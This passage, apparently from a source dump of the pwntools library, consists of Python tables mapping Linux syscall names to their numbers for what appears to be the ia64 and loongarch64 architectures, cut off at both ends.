Constant('SYS_creat',(1024 + 6))\nSYS_delete_module = Constant('SYS_delete_module',(1024 + 110))\nSYS_dup = Constant('SYS_dup',(1024 + 33))\nSYS_dup2 = Constant('SYS_dup2',(1024 + 46))\nSYS_dup3 = Constant('SYS_dup3',(1024 + 292))\nSYS_epoll_create = Constant('SYS_epoll_create',(1024 + 219))\nSYS_epoll_create1 = Constant('SYS_epoll_create1',(1024 + 291))\nSYS_epoll_ctl = Constant('SYS_epoll_ctl',(1024 + 220))\nSYS_epoll_pwait = Constant('SYS_epoll_pwait',(1024 + 281))\nSYS_epoll_wait = Constant('SYS_epoll_wait',(1024 + 221))\nSYS_eventfd = Constant('SYS_eventfd',(1024 + 285))\nSYS_eventfd2 = Constant('SYS_eventfd2',(1024 + 290))\nSYS_execve = Constant('SYS_execve',(1024 + 9))\nSYS_execveat = Constant('SYS_execveat',(1024 + 318))\nSYS_exit = Constant('SYS_exit',(1024 + 1))\nSYS_exit_group = Constant('SYS_exit_group',(1024 + 212))\nSYS_faccessat = Constant('SYS_faccessat',(1024 + 269))\nSYS_fadvise64 = Constant('SYS_fadvise64',(1024 + 210))\nSYS_fallocate = Constant('SYS_fallocate',(1024 + 279))\nSYS_fanotify_init = Constant('SYS_fanotify_init',(1024 + 299))\nSYS_fanotify_mark = Constant('SYS_fanotify_mark',(1024 + 300))\nSYS_fchdir = Constant('SYS_fchdir',(1024 + 11))\nSYS_fchmod = Constant('SYS_fchmod',(1024 + 75))\nSYS_fchmodat = Constant('SYS_fchmodat',(1024 + 268))\nSYS_fchown = Constant('SYS_fchown',(1024 + 76))\nSYS_fchownat = Constant('SYS_fchownat',(1024 + 260))\nSYS_fcntl = Constant('SYS_fcntl',(1024 + 42))\nSYS_fdatasync = Constant('SYS_fdatasync',(1024 + 28))\nSYS_fgetxattr = Constant('SYS_fgetxattr',(1024 + 198))\nSYS_finit_module = Constant('SYS_finit_module',(1024 + 311))\nSYS_flistxattr = Constant('SYS_flistxattr',(1024 + 201))\nSYS_flock = Constant('SYS_flock',(1024 + 121))\nSYS_fremovexattr = Constant('SYS_fremovexattr',(1024 + 204))\nSYS_fsconfig = Constant('SYS_fsconfig',(1024 + 431))\nSYS_fsetxattr = Constant('SYS_fsetxattr',(1024 + 195))\nSYS_fsmount = Constant('SYS_fsmount',(1024 + 432))\nSYS_fsopen = Constant('SYS_fsopen',(1024 + 430))\nSYS_fspick = Constant('SYS_fspick',(1024 + 433))\nSYS_fstat = Constant('SYS_fstat',(1024 + 188))\nSYS_fstatfs = Constant('SYS_fstatfs',(1024 + 80))\nSYS_fstatfs64 = Constant('SYS_fstatfs64',(1024 + 233))\nSYS_fsync = Constant('SYS_fsync',(1024 + 27))\nSYS_ftruncate = Constant('SYS_ftruncate',(1024 + 74))\nSYS_futex = Constant('SYS_futex',(1024 + 206))\nSYS_futimesat = Constant('SYS_futimesat',(1024 + 261))\nSYS_getcpu = Constant('SYS_getcpu',(1024 + 280))\nSYS_getcwd = Constant('SYS_getcwd',(1024 + 160))\nSYS_getdents = Constant('SYS_getdents',(1024 + 120))\nSYS_getdents64 = Constant('SYS_getdents64',(1024 + 190))\nSYS_getegid = Constant('SYS_getegid',(1024 + 39))\nSYS_geteuid = Constant('SYS_geteuid',(1024 + 23))\nSYS_getgid = Constant('SYS_getgid',(1024 + 38))\nSYS_getgroups = Constant('SYS_getgroups',(1024 + 53))\nSYS_getitimer = Constant('SYS_getitimer',(1024 + 95))\nSYS_get_mempolicy = Constant('SYS_get_mempolicy',(1024 + 236))\nSYS_getpeername = Constant('SYS_getpeername',(1024 + 172))\nSYS_getpgid = Constant('SYS_getpgid',(1024 + 55))\nSYS_getpid = Constant('SYS_getpid',(1024 + 17))\nSYS_getpmsg = Constant('SYS_getpmsg',(1024 + 164))\nSYS_getppid = Constant('SYS_getppid',(1024 + 18))\nSYS_getpriority = Constant('SYS_getpriority',(1024 + 77))\nSYS_getrandom = Constant('SYS_getrandom',(1024 + 315))\nSYS_getresgid = Constant('SYS_getresgid',(1024 + 51))\nSYS_getresuid = Constant('SYS_getresuid',(1024 + 49))\nSYS_getrlimit = Constant('SYS_getrlimit',(1024 + 61))\nSYS_get_robust_list = Constant('SYS_get_robust_list',(1024 + 275))\nSYS_getrusage = Constant('SYS_getrusage',(1024 + 62))\nSYS_getsid = Constant('SYS_getsid',(1024 + 58))\nSYS_getsockname = Constant('SYS_getsockname',(1024 + 171))\nSYS_getsockopt = Constant('SYS_getsockopt',(1024 + 180))\nSYS_gettid = Constant('SYS_gettid',(1024 + 81))\nSYS_gettimeofday = Constant('SYS_gettimeofday',(1024 + 63))\nSYS_getuid = Constant('SYS_getuid',(1024 + 22))\nSYS_getunwind = Constant('SYS_getunwind',(1024 + 191))\nSYS_getxattr = Constant('SYS_getxattr',(1024 + 196))\nSYS_init_module = Constant('SYS_init_module',(1024 + 109))\nSYS_inotify_add_watch = Constant('SYS_inotify_add_watch',(1024 + 254))\nSYS_inotify_init = Constant('SYS_inotify_init',(1024 + 253))\nSYS_inotify_init1 = Constant('SYS_inotify_init1',(1024 + 294))\nSYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',(1024 + 255))\nSYS_io_cancel = Constant('SYS_io_cancel',(1024 + 218))\nSYS_ioctl = Constant('SYS_ioctl',(1024 + 41))\nSYS_io_destroy = Constant('SYS_io_destroy',(1024 + 215))\nSYS_io_getevents = Constant('SYS_io_getevents',(1024 + 216))\nSYS_io_pgetevents = Constant('SYS_io_pgetevents',(1024 + 327))\nSYS_ioprio_get = Constant('SYS_ioprio_get',(1024 + 251))\nSYS_ioprio_set = Constant('SYS_ioprio_set',(1024 + 250))\nSYS_io_setup = Constant('SYS_io_setup',(1024 + 214))\nSYS_io_submit = Constant('SYS_io_submit',(1024 + 217))\nSYS_io_uring_enter = Constant('SYS_io_uring_enter',(1024 + 426))\nSYS_io_uring_register = Constant('SYS_io_uring_register',(1024 + 427))\nSYS_io_uring_setup = Constant('SYS_io_uring_setup',(1024 + 425))\nSYS_kcmp = Constant('SYS_kcmp',(1024 + 321))\nSYS_kexec_load = Constant('SYS_kexec_load',(1024 + 244))\nSYS_keyctl = Constant('SYS_keyctl',(1024 + 249))\nSYS_kill = Constant('SYS_kill',(1024 + 29))\nSYS_lchown = Constant('SYS_lchown',(1024 + 100))\nSYS_lgetxattr = Constant('SYS_lgetxattr',(1024 + 197))\nSYS_link = Constant('SYS_link',(1024 + 7))\nSYS_linkat = Constant('SYS_linkat',(1024 + 265))\nSYS_Linux = Constant('SYS_Linux',1024)\nSYS_listen = Constant('SYS_listen',(1024 + 169))\nSYS_listxattr = Constant('SYS_listxattr',(1024 + 199))\nSYS_llistxattr = Constant('SYS_llistxattr',(1024 + 200))\nSYS_lookup_dcookie = Constant('SYS_lookup_dcookie',(1024 + 213))\nSYS_lremovexattr = Constant('SYS_lremovexattr',(1024 + 203))\nSYS_lseek = Constant('SYS_lseek',(1024 + 16))\nSYS_lsetxattr = Constant('SYS_lsetxattr',(1024 + 194))\nSYS_lstat = Constant('SYS_lstat',(1024 + 187))\nSYS_madvise = Constant('SYS_madvise',(1024 + 185))\nSYS_mbind = Constant('SYS_mbind',(1024 + 235))\nSYS_membarrier = Constant('SYS_membarrier',(1024 + 320))\nSYS_memfd_create = Constant('SYS_memfd_create',(1024 + 316))\nSYS_migrate_pages = Constant('SYS_migrate_pages',(1024 + 256))\nSYS_mincore = Constant('SYS_mincore',(1024 + 184))\nSYS_mkdir = Constant('SYS_mkdir',(1024 + 31))\nSYS_mkdirat = Constant('SYS_mkdirat',(1024 + 258))\nSYS_mknod = Constant('SYS_mknod',(1024 + 13))\nSYS_mknodat = Constant('SYS_mknodat',(1024 + 259))\nSYS_mlock = Constant('SYS_mlock',(1024 + 129))\nSYS_mlock2 = Constant('SYS_mlock2',(1024 + 322))\nSYS_mlockall = Constant('SYS_mlockall',(1024 + 130))\nSYS_mmap = Constant('SYS_mmap',(1024 + 127))\nSYS_mmap2 = Constant('SYS_mmap2',(1024 + 148))\nSYS_mount = Constant('SYS_mount',(1024 + 19))\nSYS_move_mount = Constant('SYS_move_mount',(1024 + 429))\nSYS_move_pages = Constant('SYS_move_pages',(1024 + 252))\nSYS_mprotect = Constant('SYS_mprotect',(1024 + 131))\nSYS_mq_getsetattr = Constant('SYS_mq_getsetattr',(1024 + 243))\nSYS_mq_notify = Constant('SYS_mq_notify',(1024 + 242))\nSYS_mq_open = Constant('SYS_mq_open',(1024 + 238))\nSYS_mq_timedreceive = Constant('SYS_mq_timedreceive',(1024 + 241))\nSYS_mq_timedsend = Constant('SYS_mq_timedsend',(1024 + 240))\nSYS_mq_unlink = Constant('SYS_mq_unlink',(1024 + 239))\nSYS_mremap = Constant('SYS_mremap',(1024 + 132))\nSYS_msgctl = Constant('SYS_msgctl',(1024 + 88))\nSYS_msgget = Constant('SYS_msgget',(1024 + 85))\nSYS_msgrcv = Constant('SYS_msgrcv',(1024 + 87))\nSYS_msgsnd = Constant('SYS_msgsnd',(1024 + 86))\nSYS_msync = Constant('SYS_msync',(1024 + 133))\nSYS_munlock = Constant('SYS_munlock',(1024 + 134))\nSYS_munlockall = Constant('SYS_munlockall',(1024 + 135))\nSYS_munmap = Constant('SYS_munmap',(1024 + 128))\nSYS_name_to_handle_at = Constant('SYS_name_to_handle_at',(1024 + 302))\nSYS_nanosleep = Constant('SYS_nanosleep',(1024 + 144))\nSYS_newfstatat = Constant('SYS_newfstatat',(1024 + 262))\nSYS_nfsservctl = Constant('SYS_nfsservctl',(1024 + 145))\nSYS_ni_syscall = Constant('SYS_ni_syscall',(1024 + 0))\nSYS_old_getpagesize = Constant('SYS_old_getpagesize',(1024 + 147))\nSYS_open = Constant('SYS_open',(1024 + 4))\nSYS_openat = Constant('SYS_openat',(1024 + 257))\nSYS_openat2 = Constant('SYS_openat2',(1024 + 437))\nSYS_open_by_handle_at = Constant('SYS_open_by_handle_at',(1024 + 303))\nSYS_open_tree = Constant('SYS_open_tree',(1024 + 428))\nSYS_pciconfig_read = Constant('SYS_pciconfig_read',(1024 + 149))\nSYS_pciconfig_write = Constant('SYS_pciconfig_write',(1024 + 150))\nSYS_perf_event_open = Constant('SYS_perf_event_open',(1024 + 328))\nSYS_perfmonctl = Constant('SYS_perfmonctl',(1024 + 151))\nSYS_personality = Constant('SYS_personality',(1024 + 116))\nSYS_pidfd_getfd = Constant('SYS_pidfd_getfd',(1024 + 438))\nSYS_pidfd_open = Constant('SYS_pidfd_open',(1024 + 434))\nSYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',(1024 + 424))\nSYS_pipe = Constant('SYS_pipe',(1024 + 34))\nSYS_pipe2 = Constant('SYS_pipe2',(1024 + 293))\nSYS_pivot_root = Constant('SYS_pivot_root',(1024 + 183))\nSYS_pkey_alloc = Constant('SYS_pkey_alloc',(1024 + 331))\nSYS_pkey_free = Constant('SYS_pkey_free',(1024 + 332))\nSYS_pkey_mprotect = Constant('SYS_pkey_mprotect',(1024 + 330))\nSYS_poll = Constant('SYS_poll',(1024 + 66))\nSYS_ppoll = Constant('SYS_ppoll',(1024 + 271))\nSYS_prctl = Constant('SYS_prctl',(1024 + 146))\nSYS_pread64 = Constant('SYS_pread64',(1024 + 124))\nSYS_preadv = Constant('SYS_preadv',(1024 + 295))\nSYS_preadv2 = Constant('SYS_preadv2',(1024 + 324))\nSYS_prlimit64 = Constant('SYS_prlimit64',(1024 + 301))\nSYS_process_vm_readv = Constant('SYS_process_vm_readv',(1024 + 308))\nSYS_process_vm_writev = Constant('SYS_process_vm_writev',(1024 + 309))\nSYS_pselect6 = Constant('SYS_pselect6',(1024 + 270))\nSYS_ptrace = Constant('SYS_ptrace',(1024 + 24))\nSYS_putpmsg = Constant('SYS_putpmsg',(1024 + 165))\nSYS_pwrite64 = Constant('SYS_pwrite64',(1024 + 125))\nSYS_pwritev = Constant('SYS_pwritev',(1024 + 296))\nSYS_pwritev2 = Constant('SYS_pwritev2',(1024 + 325))\nSYS_quotactl = Constant('SYS_quotactl',(1024 + 113))\nSYS_read = Constant('SYS_read',(1024 + 2))\nSYS_readahead = Constant('SYS_readahead',(1024 + 192))\nSYS_readlink = Constant('SYS_readlink',(1024 + 68))\nSYS_readlinkat = Constant('SYS_readlinkat',(1024 + 267))\nSYS_readv = Constant('SYS_readv',(1024 + 122))\nSYS_reboot = Constant('SYS_reboot',(1024 + 72))\nSYS_recv = Constant('SYS_recv',(1024 + 176))\nSYS_recvfrom = Constant('SYS_recvfrom',(1024 + 177))\nSYS_recvmmsg = Constant('SYS_recvmmsg',(1024 + 298))\nSYS_recvmsg = Constant('SYS_recvmsg',(1024 + 182))\nSYS_remap_file_pages = Constant('SYS_remap_file_pages',(1024 + 101))\nSYS_removexattr = Constant('SYS_removexattr',(1024 + 202))\nSYS_rename = Constant('SYS_rename',(1024 + 30))\nSYS_renameat = Constant('SYS_renameat',(1024 + 264))\nSYS_renameat2 = Constant('SYS_renameat2',(1024 + 314))\nSYS_request_key = Constant('SYS_request_key',(1024 + 248))\nSYS_restart_syscall = Constant('SYS_restart_syscall',(1024 + 222))\nSYS_rmdir = Constant('SYS_rmdir',(1024 + 32))\nSYS_rseq = Constant('SYS_rseq',(1024 + 333))\nSYS_rt_sigaction = Constant('SYS_rt_sigaction',(1024 + 153))\nSYS_rt_sigpending = Constant('SYS_rt_sigpending',(1024 + 154))\nSYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',(1024 + 155))\nSYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',(1024 + 156))\nSYS_rt_sigreturn = Constant('SYS_rt_sigreturn',(1024 + 157))\nSYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',(1024 + 158))\nSYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',(1024 + 159))\nSYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',(1024 + 297))\nSYS_sched_getaffinity = Constant('SYS_sched_getaffinity',(1024 + 208))\nSYS_sched_getattr = Constant('SYS_sched_getattr',(1024 + 313))\nSYS_sched_getparam = Constant('SYS_sched_getparam',(1024 + 136))\nSYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',(1024 + 141))\nSYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',(1024 + 142))\nSYS_sched_getscheduler = Constant('SYS_sched_getscheduler',(1024 + 138))\nSYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',(1024 + 143))\nSYS_sched_setaffinity = Constant('SYS_sched_setaffinity',(1024 + 207))\nSYS_sched_setattr = Constant('SYS_sched_setattr',(1024 + 312))\nSYS_sched_setparam = Constant('SYS_sched_setparam',(1024 + 137))\nSYS_sched_setscheduler = Constant('SYS_sched_setscheduler',(1024 + 139))\nSYS_sched_yield = Constant('SYS_sched_yield',(1024 + 140))\nSYS_seccomp = Constant('SYS_seccomp',(1024 + 329))\nSYS_select = Constant('SYS_select',(1024 + 65))\nSYS_semctl = Constant('SYS_semctl',(1024 + 84))\nSYS_semget = Constant('SYS_semget',(1024 + 82))\nSYS_semop = Constant('SYS_semop',(1024 + 83))\nSYS_semtimedop = Constant('SYS_semtimedop',(1024 + 223))\nSYS_send = Constant('SYS_send',(1024 + 174))\nSYS_sendfile = Constant('SYS_sendfile',(1024 + 163))\nSYS_sendmmsg = Constant('SYS_sendmmsg',(1024 + 307))\nSYS_sendmsg = Constant('SYS_sendmsg',(1024 + 181))\nSYS_sendto = Constant('SYS_sendto',(1024 + 175))\nSYS_setdomainname = Constant('SYS_setdomainname',(1024 + 105))\nSYS_setfsgid = Constant('SYS_setfsgid',(1024 + 119))\nSYS_setfsuid = Constant('SYS_setfsuid',(1024 + 118))\nSYS_setgid = Constant('SYS_setgid',(1024 + 37))\nSYS_setgroups = Constant('SYS_setgroups',(1024 + 54))\nSYS_sethostname = Constant('SYS_sethostname',(1024 + 59))\nSYS_setitimer = Constant('SYS_setitimer',(1024 + 94))\nSYS_set_mempolicy = Constant('SYS_set_mempolicy',(1024 + 237))\nSYS_setns = Constant('SYS_setns',(1024 + 306))\nSYS_setpgid = Constant('SYS_setpgid',(1024 + 56))\nSYS_setpriority = Constant('SYS_setpriority',(1024 + 78))\nSYS_setregid = Constant('SYS_setregid',(1024 + 48))\nSYS_setresgid = Constant('SYS_setresgid',(1024 + 52))\nSYS_setresuid = Constant('SYS_setresuid',(1024 + 50))\nSYS_setreuid = Constant('SYS_setreuid',(1024 + 47))\nSYS_setrlimit = Constant('SYS_setrlimit',(1024 + 60))\nSYS_set_robust_list = Constant('SYS_set_robust_list',(1024 + 274))\nSYS_setsid = Constant('SYS_setsid',(1024 + 57))\nSYS_setsockopt = Constant('SYS_setsockopt',(1024 + 179))\nSYS_set_tid_address = Constant('SYS_set_tid_address',(1024 + 209))\nSYS_settimeofday = Constant('SYS_settimeofday',(1024 + 64))\nSYS_setuid = Constant('SYS_setuid',(1024 + 21))\nSYS_setxattr = Constant('SYS_setxattr',(1024 + 193))\nSYS_shmat = Constant('SYS_shmat',(1024 + 90))\nSYS_shmctl = Constant('SYS_shmctl',(1024 + 92))\nSYS_shmdt = Constant('SYS_shmdt',(1024 + 91))\nSYS_shmget = Constant('SYS_shmget',(1024 + 89))\nSYS_shutdown = Constant('SYS_shutdown',(1024 + 178))\nSYS_sigaltstack = Constant('SYS_sigaltstack',(1024 + 152))\nSYS_signalfd = Constant('SYS_signalfd',(1024 + 283))\nSYS_signalfd4 = Constant('SYS_signalfd4',(1024 + 289))\nSYS_socket = Constant('SYS_socket',(1024 + 166))\nSYS_socketpair = Constant('SYS_socketpair',(1024 + 173))\nSYS_splice = Constant('SYS_splice',(1024 + 273))\nSYS_stat = Constant('SYS_stat',(1024 + 186))\nSYS_statfs = Constant('SYS_statfs',(1024 + 79))\nSYS_statfs64 = Constant('SYS_statfs64',(1024 + 234))\nSYS_statx = Constant('SYS_statx',(1024 + 326))\nSYS_swapoff = Constant('SYS_swapoff',(1024 + 71))\nSYS_swapon = Constant('SYS_swapon',(1024 + 70))\nSYS_symlink = Constant('SYS_symlink',(1024 + 67))\nSYS_symlinkat = Constant('SYS_symlinkat',(1024 + 266))\nSYS_sync = Constant('SYS_sync',(1024 + 26))\nSYS_sync_file_range = Constant('SYS_sync_file_range',(1024 + 276))\nSYS_syncfs = Constant('SYS_syncfs',(1024 + 305))\nSYS__sysctl = Constant('SYS__sysctl',(1024 + 126))\nSYS_sysfs = Constant('SYS_sysfs',(1024 + 115))\nSYS_sysinfo = Constant('SYS_sysinfo',(1024 + 103))\nSYS_syslog = Constant('SYS_syslog',(1024 + 93))\nSYS_tee = Constant('SYS_tee',(1024 + 277))\nSYS_tgkill = Constant('SYS_tgkill',(1024 + 211))\nSYS_timer_create = Constant('SYS_timer_create',(1024 + 224))\nSYS_timer_delete = Constant('SYS_timer_delete',(1024 + 228))\nSYS_timerfd = Constant('SYS_timerfd',(1024 + 284))\nSYS_timerfd_create = Constant('SYS_timerfd_create',(1024 + 286))\nSYS_timerfd_gettime = Constant('SYS_timerfd_gettime',(1024 + 288))\nSYS_timerfd_settime = Constant('SYS_timerfd_settime',(1024 + 287))\nSYS_timer_getoverrun = Constant('SYS_timer_getoverrun',(1024 + 227))\nSYS_timer_gettime = Constant('SYS_timer_gettime',(1024 + 226))\nSYS_timer_settime = Constant('SYS_timer_settime',(1024 + 225))\nSYS_times = Constant('SYS_times',(1024 + 35))\nSYS_tkill = Constant('SYS_tkill',(1024 + 205))\nSYS_truncate = Constant('SYS_truncate',(1024 + 73))\nSYS_umask = Constant('SYS_umask',(1024 + 43))\nSYS_umount2 = Constant('SYS_umount2',(1024 + 20))\nSYS_uname = Constant('SYS_uname',(1024 + 106))\nSYS_unlink = Constant('SYS_unlink',(1024 + 8))\nSYS_unlinkat = Constant('SYS_unlinkat',(1024 + 263))\nSYS_unshare = Constant('SYS_unshare',(1024 + 272))\nSYS_uselib = Constant('SYS_uselib',(1024 + 69))\nSYS_userfaultfd = Constant('SYS_userfaultfd',(1024 + 319))\nSYS_ustat = Constant('SYS_ustat',(1024 + 45))\nSYS_utimensat = Constant('SYS_utimensat',(1024 + 282))\nSYS_utimes = Constant('SYS_utimes',(1024 + 12))\nSYS_vhangup = Constant('SYS_vhangup',(1024 + 99))\nSYS_vmsplice = Constant('SYS_vmsplice',(1024 + 278))\nSYS_vserver = Constant('SYS_vserver',(1024 + 245))\nSYS_wait4 = Constant('SYS_wait4',(1024 + 102))\nSYS_waitid = Constant('SYS_waitid',(1024 + 246))\nSYS_write = Constant('SYS_write',(1024 + 3))\nSYS_writev = Constant('SYS_writev',(1024 + 123))\n"
  },
  {
    "path": "pwnlib/constants/linux/loongarch64.py",
    "content": "from pwnlib.constants.constant import Constant\n__NR_io_setup = Constant('__NR_io_setup',0)\n__NR_io_destroy = Constant('__NR_io_destroy',1)\n__NR_io_submit = Constant('__NR_io_submit',2)\n__NR_io_cancel = Constant('__NR_io_cancel',3)\n__NR_io_getevents = Constant('__NR_io_getevents',4)\n__NR_setxattr = Constant('__NR_setxattr',5)\n__NR_lsetxattr = Constant('__NR_lsetxattr',6)\n__NR_fsetxattr = Constant('__NR_fsetxattr',7)\n__NR_getxattr = Constant('__NR_getxattr',8)\n__NR_lgetxattr = Constant('__NR_lgetxattr',9)\n__NR_fgetxattr = Constant('__NR_fgetxattr',10)\n__NR_listxattr = Constant('__NR_listxattr',11)\n__NR_llistxattr = Constant('__NR_llistxattr',12)\n__NR_flistxattr = Constant('__NR_flistxattr',13)\n__NR_removexattr = Constant('__NR_removexattr',14)\n__NR_lremovexattr = Constant('__NR_lremovexattr',15)\n__NR_fremovexattr = Constant('__NR_fremovexattr',16)\n__NR_getcwd = Constant('__NR_getcwd',17)\n__NR_lookup_dcookie = Constant('__NR_lookup_dcookie',18)\n__NR_eventfd2 = Constant('__NR_eventfd2',19)\n__NR_epoll_create1 = Constant('__NR_epoll_create1',20)\n__NR_epoll_ctl = Constant('__NR_epoll_ctl',21)\n__NR_epoll_pwait = Constant('__NR_epoll_pwait',22)\n__NR_dup = Constant('__NR_dup',23)\n__NR_dup3 = Constant('__NR_dup3',24)\n__NR3264_fcntl = Constant('__NR3264_fcntl',25)\n__NR_inotify_init1 = Constant('__NR_inotify_init1',26)\n__NR_inotify_add_watch = Constant('__NR_inotify_add_watch',27)\n__NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',28)\n__NR_ioctl = Constant('__NR_ioctl',29)\n__NR_ioprio_set = Constant('__NR_ioprio_set',30)\n__NR_ioprio_get = Constant('__NR_ioprio_get',31)\n__NR_flock = Constant('__NR_flock',32)\n__NR_mknodat = Constant('__NR_mknodat',33)\n__NR_mkdirat = Constant('__NR_mkdirat',34)\n__NR_unlinkat = Constant('__NR_unlinkat',35)\n__NR_symlinkat = Constant('__NR_symlinkat',36)\n__NR_linkat = Constant('__NR_linkat',37)\n__NR_umount2 = Constant('__NR_umount2',39)\n__NR_mount = Constant('__NR_mount',40)\n__NR_pivot_root = Constant('__NR_pivot_root',41)\n__NR_nfsservctl = Constant('__NR_nfsservctl',42)\n__NR3264_statfs = Constant('__NR3264_statfs',43)\n__NR3264_fstatfs = Constant('__NR3264_fstatfs',44)\n__NR3264_truncate = Constant('__NR3264_truncate',45)\n__NR3264_ftruncate = Constant('__NR3264_ftruncate',46)\n__NR_fallocate = Constant('__NR_fallocate',47)\n__NR_faccessat = Constant('__NR_faccessat',48)\n__NR_chdir = Constant('__NR_chdir',49)\n__NR_fchdir = Constant('__NR_fchdir',50)\n__NR_chroot = Constant('__NR_chroot',51)\n__NR_fchmod = Constant('__NR_fchmod',52)\n__NR_fchmodat = Constant('__NR_fchmodat',53)\n__NR_fchownat = Constant('__NR_fchownat',54)\n__NR_fchown = Constant('__NR_fchown',55)\n__NR_openat = Constant('__NR_openat',56)\n__NR_close = Constant('__NR_close',57)\n__NR_vhangup = Constant('__NR_vhangup',58)\n__NR_pipe2 = Constant('__NR_pipe2',59)\n__NR_quotactl = Constant('__NR_quotactl',60)\n__NR_getdents64 = Constant('__NR_getdents64',61)\n__NR3264_lseek = Constant('__NR3264_lseek',62)\n__NR_read = Constant('__NR_read',63)\n__NR_write = Constant('__NR_write',64)\n__NR_readv = Constant('__NR_readv',65)\n__NR_writev = Constant('__NR_writev',66)\n__NR_pread64 = Constant('__NR_pread64',67)\n__NR_pwrite64 = Constant('__NR_pwrite64',68)\n__NR_preadv = Constant('__NR_preadv',69)\n__NR_pwritev = Constant('__NR_pwritev',70)\n__NR3264_sendfile = Constant('__NR3264_sendfile',71)\n__NR_pselect6 = Constant('__NR_pselect6',72)\n__NR_ppoll = Constant('__NR_ppoll',73)\n__NR_signalfd4 = Constant('__NR_signalfd4',74)\n__NR_vmsplice = Constant('__NR_vmsplice',75)\n__NR_splice = Constant('__NR_splice',76)\n__NR_tee = Constant('__NR_tee',77)\n__NR_readlinkat = Constant('__NR_readlinkat',78)\n__NR_sync = Constant('__NR_sync',81)\n__NR_fsync = Constant('__NR_fsync',82)\n__NR_fdatasync = Constant('__NR_fdatasync',83)\n__NR_sync_file_range = Constant('__NR_sync_file_range',84)\n__NR_timerfd_create = Constant('__NR_timerfd_create',85)\n__NR_timerfd_settime = Constant('__NR_timerfd_settime',86)\n__NR_timerfd_gettime = Constant('__NR_timerfd_gettime',87)\n__NR_utimensat = Constant('__NR_utimensat',88)\n__NR_acct = Constant('__NR_acct',89)\n__NR_capget = Constant('__NR_capget',90)\n__NR_capset = Constant('__NR_capset',91)\n__NR_personality = Constant('__NR_personality',92)\n__NR_exit = Constant('__NR_exit',93)\n__NR_exit_group = Constant('__NR_exit_group',94)\n__NR_waitid = Constant('__NR_waitid',95)\n__NR_set_tid_address = Constant('__NR_set_tid_address',96)\n__NR_unshare = Constant('__NR_unshare',97)\n__NR_futex = Constant('__NR_futex',98)\n__NR_set_robust_list = Constant('__NR_set_robust_list',99)\n__NR_get_robust_list = Constant('__NR_get_robust_list',100)\n__NR_nanosleep = Constant('__NR_nanosleep',101)\n__NR_getitimer = Constant('__NR_getitimer',102)\n__NR_setitimer = Constant('__NR_setitimer',103)\n__NR_kexec_load = Constant('__NR_kexec_load',104)\n__NR_init_module = Constant('__NR_init_module',105)\n__NR_delete_module = Constant('__NR_delete_module',106)\n__NR_timer_create = Constant('__NR_timer_create',107)\n__NR_timer_gettime = Constant('__NR_timer_gettime',108)\n__NR_timer_getoverrun = Constant('__NR_timer_getoverrun',109)\n__NR_timer_settime = Constant('__NR_timer_settime',110)\n__NR_timer_delete = Constant('__NR_timer_delete',111)\n__NR_clock_settime = Constant('__NR_clock_settime',112)\n__NR_clock_gettime = Constant('__NR_clock_gettime',113)\n__NR_clock_getres = Constant('__NR_clock_getres',114)\n__NR_clock_nanosleep = Constant('__NR_clock_nanosleep',115)\n__NR_syslog = Constant('__NR_syslog',116)\n__NR_ptrace = Constant('__NR_ptrace',117)\n__NR_sched_setparam = Constant('__NR_sched_setparam',118)\n__NR_sched_setscheduler = Constant('__NR_sched_setscheduler',119)\n__NR_sched_getscheduler = Constant('__NR_sched_getscheduler',120)\n__NR_sched_getparam = Constant('__NR_sched_getparam',121)\n__NR_sched_setaffinity = Constant('__NR_sched_setaffinity',122)\n__NR_sched_getaffinity = Constant('__NR_sched_getaffinity',123)\n__NR_sched_yield = Constant('__NR_sched_yield',124)\n__NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',125)\n__NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',126)\n__NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',127)\n__NR_restart_syscall = Constant('__NR_restart_syscall',128)\n__NR_kill = Constant('__NR_kill',129)\n__NR_tkill = Constant('__NR_tkill',130)\n__NR_tgkill = Constant('__NR_tgkill',131)\n__NR_sigaltstack = Constant('__NR_sigaltstack',132)\n__NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',133)\n__NR_rt_sigaction = Constant('__NR_rt_sigaction',134)\n__NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',135)\n__NR_rt_sigpending = Constant('__NR_rt_sigpending',136)\n__NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',137)\n__NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',138)\n__NR_rt_sigreturn = Constant('__NR_rt_sigreturn',139)\n__NR_setpriority = Constant('__NR_setpriority',140)\n__NR_getpriority = Constant('__NR_getpriority',141)\n__NR_reboot = Constant('__NR_reboot',142)\n__NR_setregid = Constant('__NR_setregid',143)\n__NR_setgid = Constant('__NR_setgid',144)\n__NR_setreuid = Constant('__NR_setreuid',145)\n__NR_setuid = Constant('__NR_setuid',146)\n__NR_setresuid = Constant('__NR_setresuid',147)\n__NR_getresuid = Constant('__NR_getresuid',148)\n__NR_setresgid = Constant('__NR_setresgid',149)\n__NR_getresgid = Constant('__NR_getresgid',150)\n__NR_setfsuid = Constant('__NR_setfsuid',151)\n__NR_setfsgid = Constant('__NR_setfsgid',152)\n__NR_times = Constant('__NR_times',153)\n__NR_setpgid = Constant('__NR_setpgid',154)\n__NR_getpgid = Constant('__NR_getpgid',155)\n__NR_getsid = Constant('__NR_getsid',156)\n__NR_setsid = Constant('__NR_setsid',157)\n__NR_getgroups = Constant('__NR_getgroups',158)\n__NR_setgroups = Constant('__NR_setgroups',159)\n__NR_uname = Constant('__NR_uname',160)\n__NR_sethostname = Constant('__NR_sethostname',161)\n__NR_setdomainname = Constant('__NR_setdomainname',162)\n__NR_getrusage = Constant('__NR_getrusage',165)\n__NR_umask = Constant('__NR_umask',166)\n__NR_prctl = Constant('__NR_prctl',167)\n__NR_getcpu = Constant('__NR_getcpu',168)\n__NR_gettimeofday = 